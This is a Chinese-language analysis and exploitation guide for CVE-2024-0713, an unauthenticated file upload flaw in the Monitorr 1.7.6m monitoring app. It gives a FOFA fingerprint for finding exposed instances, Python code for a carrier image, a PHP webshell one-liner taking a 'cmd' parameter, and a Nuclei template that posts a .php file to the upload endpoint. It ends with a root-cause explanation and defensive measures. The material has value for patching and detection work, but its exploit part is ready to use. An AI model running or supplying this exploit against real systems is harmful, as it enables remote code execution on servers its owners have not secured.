CVE-2024-0713 Monitorr 文件上传漏洞分析
字数 1016 2025-08-24 07:48:33
Monitorr 文件上传漏洞 (CVE-2024-0713) 分析与利用指南
漏洞概述
Monitorr 是一个自托管的 PHP 网络应用程序,用于监控本地和远程网络服务、网站和应用的状态。在 Monitorr 1.7.6m 版本中存在一个文件上传漏洞 (CVE-2024-0713),攻击者可以利用该漏洞上传 webshell 到目标系统,从而获取系统权限。
漏洞影响
- 受影响产品: Monitorr
- 受影响版本: 1.7.6m
- 漏洞类型: 文件上传漏洞
- 威胁等级: 高危
环境识别
可以使用以下方法识别存在漏洞的 Monitorr 实例:
-
FOFA 查询:
body="assets/php/timestamp.php" -
手动识别:
- 检查网站是否运行 Monitorr
- 检查版本号是否为 1.7.6m 或更早
漏洞验证与利用
准备工作
-
创建测试图片:
使用 Python 生成一个最小图片文件:from PIL import Image img = Image.new('RGB', (1, 1), color=(0, 0, 0)) img.save('small.jpg', 'JPEG') -
添加 webshell:
在图片文件末尾添加 PHP webshell 代码,例如:<?php system($_GET['cmd']); ?>
利用方法
-
使用 Nuclei 自动化测试:
id: poc info: name: 直接上传文件 author: xxx severity: high description: 产品已经停止更新,影响全版本,直接文件上传 http: - raw: - | POST /assets/php/upload.php HTTP/1.1 Host: {{Hostname}} User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_4) Accept-Encoding: gzip, deflate Accept: */* Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMmx988TUuintqO4Q Content-Length: 1194 ------WebKitFormBoundaryMmx988TUuintqO4Q Content-Disposition: form-data; name="fileToUpload"; filename="info.php" Content-Type: image/jpeg ------WebKitFormBoundaryMmx988TUuintqO4Q-- unsafe: false cookie-reuse: false matchers-condition: or matchers: - type: word part: body words: - "usrimg/info.php" condition: or -
手动利用:
- 构造一个包含恶意 PHP 代码的图片文件
- 通过 POST 请求发送到
/assets/php/upload.php - 上传成功后,webshell 通常位于
usrimg/目录下
漏洞分析
漏洞位于 assets/php/upload.php 文件中,关键问题如下:
-
缺乏严格验证:
- 仅使用
getimagesize()函数检查文件是否为图片 - 不验证文件扩展名
- 不验证文件内容是否真实为图片
- 仅使用
-
攻击者可利用点:
- 可以上传带有图片头的 PHP 文件
- 可以修改文件扩展名为
.php - 可以绕过简单的图片验证
防御措施
由于该产品已经停止更新,建议采取以下措施:
-
立即措施:
- 禁用或删除
upload.php文件 - 限制对
assets/php/目录的访问
- 禁用或删除
-
长期措施:
- 考虑迁移到其他维护中的监控解决方案
- 如果必须使用 Monitorr,实施 Web 应用防火墙(WAF)规则阻止恶意文件上传
-
安全配置:
- 配置服务器禁止执行上传目录中的 PHP 文件
- 实施文件上传的白名单验证机制
总结
CVE-2024-0713 是一个高危的文件上传漏洞,允许攻击者在 Monitorr 1.7.6m 版本中上传任意文件,包括 webshell。由于该产品已停止维护,建议用户采取积极防御措施或迁移到其他解决方案。